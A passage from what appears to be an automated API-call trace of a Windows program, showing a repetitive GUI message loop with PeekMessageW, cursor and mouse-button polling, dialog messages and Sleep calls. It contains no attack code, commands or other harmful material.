wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.041] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.042] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.043] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.067] GetForegroundWindow () returned 0x7004e [0036.067] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.067] GetCursorPos (in: lpPoint=0x26a4a5f320 | out: lpPoint=0x26a4a5f320*(x=784, y=510)) returned 1 [0036.067] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5f320 | out: lpPoint=0x26a4a5f320) returned 1 [0036.067] GetAsyncKeyState (vKey=1) returned 0 [0036.067] GetAsyncKeyState (vKey=2) returned 0 [0036.067] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.068] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.068] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.068] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.068] Sleep (dwMilliseconds=0xa) [0036.081] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.081] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.081] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.081] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x20, wParam=0x301ea, lParam=0x2000001) returned 0x0 [0036.081] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.081] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.081] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.081] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.081] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5f160) returned 0x0 [0036.081] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.081] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.081] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.081] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.081] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x14, wParam=0x1f0105a6, lParam=0x0) returned 0x1 [0036.081] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.081] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.081] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.081] SetBkColor (hdc=0x1f0105a6, color=0xf0f0f0) returned 0xffffff [0036.081] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.081] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x318, wParam=0x1f0105a6, lParam=0x4) returned 0x0 [0036.081] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.081] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.081] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.081] SetBkColor (hdc=0x1f0105a6, color=0xf0f0f0) returned 0xf0f0f0 [0036.082] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.082] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.082] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.082] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5ec60) returned 0x0 [0036.082] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.082] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.082] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.082] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5ec60) returned 0x0 [0036.082] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.082] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x14, wParam=0xffffffff810106f8, lParam=0x0) returned 0x1 [0036.082] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.082] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.082] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.082] SetBkColor (hdc=0xffffffff810106f8, color=0xf0f0f0) returned 0xffffff [0036.082] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.082] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x318, wParam=0xffffffff810106f8, lParam=0x4) returned 0x0 [0036.082] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.082] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.082] GetSysColor (nIndex=15) returned 0xf0f0f0 [0036.082] SetBkColor (hdc=0xffffffff810106f8, color=0xf0f0f0) returned 0xf0f0f0 [0036.082] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.082] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.082] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.082] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5ec60) returned 0x0 [0036.082] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.082] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.082] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.082] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x4e, wParam=0x3, lParam=0x26a4a5ec60) returned 0x0 [0036.082] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.082] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.083] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.083] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.083] Sleep (dwMilliseconds=0xa) [0036.097] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.097] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.097] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0036.097] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.097] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0036.097] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.097] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0036.098] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.098] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.098] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.098] Sleep (dwMilliseconds=0xa) [0036.111] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.111] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.111] TranslateMessage (lpMsg=0x26a4a5f4c0) returned 0 [0036.111] DispatchMessageW (lpMsg=0x26a4a5f4c0) returned 0x0 [0036.111] GetForegroundWindow () returned 0x7004e [0036.111] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.111] GetCursorPos (in: lpPoint=0x26a4a5f320 | out: lpPoint=0x26a4a5f320*(x=538, y=534)) returned 1 [0036.111] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5f320 | out: lpPoint=0x26a4a5f320) returned 1 [0036.111] GetAsyncKeyState (vKey=1) returned 0 [0036.111] GetAsyncKeyState (vKey=2) returned 0 [0036.111] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.111] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.111] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.111] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.111] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.112] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.112] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.112] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.112] Sleep (dwMilliseconds=0x0) [0036.112] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.112] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.112] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.112] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.112] Sleep (dwMilliseconds=0x0) [0036.112] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.112] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.112] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.112] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.112] Sleep (dwMilliseconds=0x0) [0036.113] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.113] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.113] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.113] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.113] Sleep (dwMilliseconds=0x0) [0036.113] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.113] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.113] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.113] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.113] Sleep (dwMilliseconds=0x0) [0036.113] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.113] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.113] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.113] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.114] Sleep (dwMilliseconds=0x0) [0036.114] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.114] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.114] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.114] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.114] Sleep (dwMilliseconds=0x0) [0036.114] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.114] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.114] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.114] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.114] Sleep (dwMilliseconds=0x0) [0036.114] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.115] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.115] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.115] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.115] Sleep (dwMilliseconds=0x0) [0036.115] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.115] 